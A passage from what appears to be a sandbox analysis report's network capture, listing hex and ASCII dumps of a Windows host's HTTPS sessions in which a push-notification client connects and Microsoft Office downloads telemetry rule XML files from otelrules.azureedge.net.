c232579c4e1f0637<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcFFdyPw2NOjRYgjFcmiZ89c6XbIp8zupkLebyh2Pv+cic8yUKElwp4PZm7Ng9VgPhfjfeGUI+OEbFaLAMuCgRQy/cBsdB89zag0lhsB0Reaxw
2024-10-29 16:59:03 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6d 64 2b 51 34 51 7a 73 63 45 57 54 31 30 61 50 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 32 33 32 35 37 39 63 34 65 31 66 30 36 33 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: md+Q4QzscEWT10aP.3Context: c232579c4e1f0637<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-29 16:59:03 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-29 16:59:03 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 38 56 61 41 65 71 4a 59 32 45 71 78 6e 39 63 2b 47 57 2f 79 55 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 8VaAeqJY2Eqxn9c+GW/yUw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:07 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:08 UTC	561	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:07 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165907Z-16849878b78tg5n42kspfr0x4800000006wg000000005m5a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:08 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-29 16:59:08 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-29 16:59:08 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-29 16:59:08 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-29 16:59:08 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-29 16:59:08 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-29 16:59:08 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-29 16:59:09 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-29 16:59:09 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-29 16:59:09 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:10 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:10 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:10 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: fc6998d3-101e-008d-52ad-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165910Z-16849878b78qf2gleqhwczd21s00000006y000000000qhtz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:10 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:10 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:10 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 7920d540-e01e-0085-1f11-29c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165910Z-15b8d89586fzcfbd8we4bvhqds00000001rg00000000c1d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:10 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:10 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:10 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165910Z-16849878b78fkwcjkpn19c5dsn00000005w0000000009392 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:10 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:10 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:10 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:10 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165910Z-16849878b78bcpfn2qf7sm6hsn00000008eg00000000ak7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:10 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:10 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:10 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:10 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165910Z-16849878b78q9m8bqvwuva4svc00000005ag00000000gqe4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
